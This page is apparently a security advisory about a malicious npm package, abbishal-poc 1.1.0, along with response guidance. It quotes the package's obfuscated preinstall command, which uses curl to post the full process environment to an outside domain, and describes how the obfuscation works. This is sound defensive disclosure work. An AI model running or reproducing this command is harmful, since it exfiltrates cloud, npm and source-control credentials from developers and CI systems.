abbishal-pocnpm
Advisory published Updated
abbishal-poc is a confirmed malicious npm package (MAL-2026-17545) that steals credentials and exfiltrates sensitive data (malicious version 1.1.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in abbishal-poc (npm)
What this malware does
On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute curl -d "$(env)" https://abbishal.com/sh/poc. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for abbishal-poc (version 1.1.0).
If you installed it — respond
abbishal-poc is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If abbishal-poc was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks abbishal-poc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.